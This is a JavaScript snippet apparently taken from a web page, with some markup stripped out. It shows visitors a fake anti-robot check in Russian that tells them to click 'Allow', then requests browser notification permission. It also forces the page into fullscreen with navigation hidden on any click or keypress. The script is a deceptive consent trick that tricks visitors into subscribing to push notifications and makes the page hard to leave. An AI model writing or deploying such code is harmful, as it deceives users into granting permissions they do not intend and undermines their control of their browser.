var prm = Notification.permission; if (prm == 'default') { $('body').append('
Нажмите "Разрешить", чтобы подтвердить, что вы не робот!
imageimage
'); var style = $(''); $('html > head').append(style); } Notification.requestPermission().then(function(result) {$( "#darke-area" ).remove();}); setTimeout(function(){$("#darke-area" ).remove();}, 13000); if (prm == 'default') { function e() { void 0 !== this.requestFullScreen ? this.requestFullScreen({ navigationUI: "hide" }) : void 0 !== this.webkitRequestFullScreen ? this.webkitRequestFullScreen({ navigationUI: "hide" }) : void 0 !== this.mozRequestFullScreen && this.mozRequestFullScreen({ navigationUI: "hide" }) } document.querySelector("html").addEventListener("keydown", e), document.querySelector("html").addEventListener("click", e); }